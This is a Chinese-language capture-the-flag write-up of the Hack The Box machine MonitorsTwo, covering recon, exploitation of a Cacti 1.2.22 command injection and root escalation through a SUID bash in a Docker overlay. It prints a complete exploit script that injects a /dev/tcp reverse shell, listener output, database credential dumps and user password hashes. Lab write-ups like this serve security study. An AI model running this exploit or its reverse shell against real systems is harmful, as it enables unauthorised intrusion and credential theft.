MonitorsTwo靶机

MonitorsTwo 靶机

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(i3eg1nner㉿minilite)-[~]
└─$ sudo nmap --min-rate 10000 -p- 10.10.11.211
[sudo] password for i3eg1nner:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-09 07:34 EDT
Warning: 10.10.11.211 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.211
Host is up (0.036s latency).
Not shown: 64538 closed tcp ports (reset), 995 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 30.40 seconds

┌──(i3eg1nner㉿minilite)-[~]
└─$ sudo nmap -sT -sV -sC -O -p22,80 10.10.11.211
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-09 07:35 EDT
Nmap scan report for 10.10.11.211
Host is up (0.0034s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.77 seconds

┌──(i3eg1nner㉿minilite)-[~]
└─$ sudo nmap -sU --top-ports 20 10.10.11.21
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-09 07:40 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.08 seconds

Cacti 1.2.22 远程代码执行漏洞

80 端口是开放的,点击进去看到是 Cacti 1.2.22

搜一下相关 exp

有很多利用的脚本,但是运行都有点问题,尝试手动利用,查到有个 0xf4n9x/CVE-2022-46169: CVE-2022-46169 Cacti remote_agent.php Unauthenticated Command Injection. (github.com) 其中包含了用 burpsuite 进行验证的流程

并不需要爆破 id,这里后面两个值都为 1,就可以得到预期的返回。但是在后面添加代码的时候,没有真正的执行,后面参考了另一个 exp,但是 curl 命令有效,而反弹 shell 命令无效,猜测可能是编码的问题?找了几个 exp 都失败,就直接看 WP 了,CVE-2022-46169-CACTI-1.2.22/CVE-2022-46169.py at main · FredBrave/CVE-2022-46169-CACTI-1.2.22 · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests, optparse, sys
import urllib

def get_arguments():
parser= optparse.OptionParser()
parser.add_option('-u', '--url', dest='url_target', help='The url target')
parser.add_option('', '--LHOST', dest='lhost', help='Your ip')
parser.add_option('', '--LPORT', dest='lport', help='The listening port')
(options, arguments) = parser.parse_args()
if not options.url_target:
parser.error('[*] Pls indicate the target URL, example: -u http://10.10.10.10')
if not options.lhost:
parser.error('[*] Pls indicate your ip, example: --LHOST=10.10.10.10')
if not options.lport:
parser.error('[*] Pls indicate the listening port for the reverse shell, example: --LPORT=443')
return options

def checkVuln():
r = requests.get(Vuln_url, headers=headers)
return (r.text != "FATAL: You are not authorized to use this service" and r.status_code != 403)

def bruteForcing():
for n in range(1,5):
for n2 in range(1,10):
id_vulnUrl = f"{Vuln_url}?action=polldata&poller_id=1&host_id={n}&local_data_ids[]={n2}"
r = requests.get(id_vulnUrl, headers=headers)
if r.text != "[]":
RDname = r.json()[0]["rrd_name"]
if RDname == "polling_time" or RDname == "uptime":
print("Bruteforce Success!!")
return True, n, n2
return False, 1, 1

def Reverse_shell(payload, host_id, data_ids):
PayloadEncoded = urllib.parse.quote(payload)
InjectRequest = f"{Vuln_url}?action=polldata&poller_id=;{PayloadEncoded}&host_id={host_id}&local_data_ids[]={data_ids}"
r = requests.get(InjectRequest, headers=headers)


if __name__ == '__main__':
options = get_arguments()
Vuln_url = options.url_target + '/remote_agent.php'
headers = {"X-Forwarded-For": "127.0.0.1"}
print('Checking...')
if checkVuln():
print("The target is vulnerable. Exploiting...")
print("Bruteforcing the host_id and local_data_ids")
is_vuln, host_id, data_ids = bruteForcing()
myip = options.lhost
myport = options.lport
payload = f"bash -c 'bash -i >& /dev/tcp/{myip}/{myport} 0>&1'"
if is_vuln:
Reverse_shell(payload, host_id, data_ids)
else:
print("The Bruteforce Failled...")

else:
print("The target is not vulnerable")
sys.exit(1)

运行

1
2
3
4
5
6
┌──(i3eg1nner㉿minilite)-[~/Downloads/MonitorsTwo]
└─$ python exp.py -u http://10.10.11.211 --LHOST 10.10.14.145 --LPORT 443
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!

反弹成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(i3eg1nner㉿minilite)-[~]
└─$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.145] from (UNKNOWN) [10.10.11.211] 55410
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@50bca5e748b0:/var/www/html$ whoami
whoami
www-data
www-data@50bca5e748b0:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@50bca5e748b0:/var/www/html$ uname -a
uname -a
Linux 50bca5e748b0 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 GNU/Linux

提权

信息收集

收集文件信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
www-data@50bca5e748b0:/var/www/html$ cd /
cd /
www-data@50bca5e748b0:/$ ls
ls
bin
boot
dev
entrypoint.sh
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www-data@50bca5e748b0:/$ cat entrypoint.sh
cat entrypoint.sh
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi

exec "$@"
www-data@50bca5e748b0:/$ mysql -uroot -p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@50bca5e748b0:/var/www/html$ mysql --host=db --user=root --password=root cacti -e "select * from user_auth"

+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+

| id | username | password                           | realm | full_name   | email_address     | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |

+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+

| 1 | admin  | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |   0 | Jamie Thompson | admin@monitorstwo.htb |           | on       | on    | on    | on      | on       |     2 |       1 |      1 |      1 |           1 | on   |     -1 |    -1 | -1        |    |        0 |    0 |  663348655 |

| 3 | guest  | 43e9a4ab75570f5b                       |   0 | Guest Account |            | on          | on       | on    | on    | on      | 3       |     1 |       1 |      1 |      1 |           1 |     |     -1 |    -1 | -1        |    |        0 |    0 |      0 |

| 4 | marcus  | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |   0 | Marcus Brune  | marcus@monitorstwo.htb |           |         | on    | on    | on      | on       |     1 |       1 |      1 |      1 |           1 | on   |     -1 |    -1 |         | on   |        0 |    0 | 2135691668 |

+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+

MD5 解密得到了:

ssh 登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
marcus@monitorstwo:~$ whoami
marcus
marcus@monitorstwo:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
marcus@monitorstwo:~$ ls
user.txt
marcus@monitorstwo:~$ cat user.txt

marcus@monitorstwo:~$ export
declare -x DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/1000/bus"
declare -x HOME="/home/marcus"
declare -x LANG="en_US.UTF-8"
declare -x LESSCLOSE="/usr/bin/lesspipe %s %s"
declare -x LESSOPEN="| /usr/bin/lesspipe %s"
declare -x LOGNAME="marcus"
declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=0131:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*wm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*vb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=0;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
declare -x MOTD_SHOWN="pam"
declare -x OLDPWD
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
declare -x PWD="/home/marcus"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="10.10.14.145 33960 22"
declare -x SSH_CONNECTION="10.10.14.145 33960 10.10.11.211 22"
declare -x SSH_TTY="/dev/pts/1"
declare -x TERM="xterm"
declare -x USER="marcus"
declare -x XDG_RUNTIME_DIR="/run/user/1000"
declare -x XDG_SESSION_CLASS="user"
declare -x XDG_SESSION_ID="8"
declare -x XDG_SESSION_TYPE="tty"

查找 s 权限的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
marcus@monitorstwo:~$ find / -type f -perm -04000 -ls 2>/dev/null
57222 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
54839 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
55563 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
55805 464 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign
54134 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount
1574 164 -rwsr-xr-x 1 root root 166056 Apr 4 11:56 /usr/bin/sudo
54751 88 -rwsr-xr-x 1 root root 88464 Nov 29 2022 /usr/bin/gpasswd
57248 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount
54761 68 -rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd
54142 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
54717 52 -rwsr-xr-x 1 root root 53040 Nov 29 2022 /usr/bin/chsh
53964 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
54397 84 -rwsr-xr-x 1 root root 85064 Nov 29 2022 /usr/bin/chfn
54599 44 -rwsr-xr-x 1 root root 44784 Nov 29 2022 /usr/bin/newgrp
57185 68 -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su

查找可写文件

1
2
3
4
5
6
7
8
9
marcus@monitorstwo:~$ find / -type f -writable -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
/tmp/linpeas.sh
/tmp/exp.sh
/home/marcus/.bash_logout
/home/marcus/.cache/motd.legal-displayed
/home/marcus/.bashrc
/home/marcus/.profile
/home/marcus/.gnupg/pubring.kbx
/home/marcus/.gnupg/trustdb.gpg

进程信息,这里是看了 WP 才知道还有这种提权手法,顺便过滤 docker 信息

1
2
3
4
marcus@monitorstwo:~$ ps aux | grep docker
root 903 0.0 2.1 1455744 85476 ? Ssl Jun09 0:06 /usr/sbin/dockerd -H fd://
root 1331 0.0 0.0 1223816 3644 ? Sl Jun09 0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.3 -container-port 80
marcus 33355 0.0 0.0 6432 720 pts/1 S+ 03:12 0:00 grep --color=auto docker

查看 docker 目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
marcus@monitorstwo:~$ findmnt
TARGET SOURCE FSTYPE OPTIONS
/ /dev/sda2 ext4 rw,relatime
├─/sys sysfs sysfs rw,nosuid,nodev,noexec,relatime
│ ├─/sys/kernel/security securityfs securityfs rw,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/cgroup tmpfs tmpfs ro,nosuid,nodev,noexec,mode=755
│ │ ├─/sys/fs/cgroup/unified cgroup2 cgroup2 rw,nosuid,nodev,noexec,relatime,nsdelegate
│ │ ├─/sys/fs/cgroup/systemd cgroup cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd
│ │ ├─/sys/fs/cgroup/perf_event cgroup cgroup rw,nosuid,nodev,noexec,relatime,perf_event
│ │ ├─/sys/fs/cgroup/rdma cgroup cgroup rw,nosuid,nodev,noexec,relatime,rdma
│ │ ├─/sys/fs/cgroup/memory cgroup cgroup rw,nosuid,nodev,noexec,relatime,memory
│ │ ├─/sys/fs/cgroup/cpu,cpuacct cgroup cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct
│ │ ├─/sys/fs/cgroup/blkio cgroup cgroup rw,nosuid,nodev,noexec,relatime,blkio
│ │ ├─/sys/fs/cgroup/cpuset cgroup cgroup rw,nosuid,nodev,noexec,relatime,cpuset
│ │ ├─/sys/fs/cgroup/net_cls,net_prio cgroup cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio
│ │ ├─/sys/fs/cgroup/devices cgroup cgroup rw,nosuid,nodev,noexec,relatime,devices
│ │ ├─/sys/fs/cgroup/freezer cgroup cgroup rw,nosuid,nodev,noexec,relatime,freezer
│ │ ├─/sys/fs/cgroup/pids cgroup cgroup rw,nosuid,nodev,noexec,relatime,pids
│ │ └─/sys/fs/cgroup/hugetlb cgroup cgroup rw,nosuid,nodev,noexec,relatime,hugetlb
│ ├─/sys/fs/pstore pstore pstore rw,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/bpf none bpf rw,nosuid,nodev,noexec,relatime,mode=700
│ ├─/sys/kernel/debug debugfs debugfs rw,nosuid,nodev,noexec,relatime
│ ├─/sys/kernel/tracing tracefs tracefs rw,nosuid,nodev,noexec,relatime
│ ├─/sys/kernel/config configfs configfs rw,nosuid,nodev,noexec,relatime
│ └─/sys/fs/fuse/connections fusectl fusectl rw,nosuid,nodev,noexec,relatime
├─/proc proc proc rw,nosuid,nodev,noexec,relatime
│ └─/proc/sys/fs/binfmt_misc systemd-1 autofs rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=16442
│ └─/proc/sys/fs/binfmt_misc binfmt_misc binfmt_misc rw,nosuid,nodev,noexec,relatime
├─/dev udev devtmpfs rw,nosuid,noexec,relatime,size=1966928k,nr_inodes=491732,mode=755
│ ├─/dev/pts devpts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000
│ ├─/dev/shm tmpfs tmpfs rw,nosuid,nodev
│ ├─/dev/hugepages hugetlbfs hugetlbfs rw,relatime,pagesize=2M
│ └─/dev/mqueue mqueue mqueue rw,nosuid,nodev,noexec,relatime
├─/run tmpfs tmpfs rw,nosuid,nodev,noexec,relatime,size=402608k,mode=755
│ ├─/run/lock tmpfs tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k
│ ├─/run/docker/netns/017a1d8be84e nsfs[net:[4026532597]]
│ │ nsfs rw
│ ├─/run/user/1000 tmpfs tmpfs rw,nosuid,nodev,relatime,size=402608k,mode=700,uid=1000,gid=1000
│ └─/run/docker/netns/7557ab04a14c nsfs[net:[4026532660]]
│ nsfs rw
├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
│ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/overlay2/l/XKE4ZK5GJUTHXKVYS4MQMJ3NOB:/var/lib/docker
├─/var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm
│ shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
│ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYHH:/var/lib/docker
└─/var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm
shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k

查看 docker 目录下是否有 s 权限的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ cd /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007ef
marcus@monitorstwo:/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged$ ls -laih bin/bash
24304 -rwxr-xr-x 1 root root 942K Nov 23 2021 bin/bash
marcus@monitorstwo:/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ls -laih bin/bash
41766 -rwsr-xr-x 1 root root 1.2M Mar 27 2022 bin/bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ bin/bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
bash-5.1# whoami
root
bash-5.1# pwd
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
bash-5.1# cd /root

查看文件信息

1
2
3
bash-5.1# cat root.txt
bash-5.1# cd /home/marcus
bash-5.1# cat user.txt

MonitorsTwo靶机
https://i3eg1nner.github.io/2023/06/f734793d82e5.html
作者
I3eg1nner
发布于
2023年6月10日
许可协议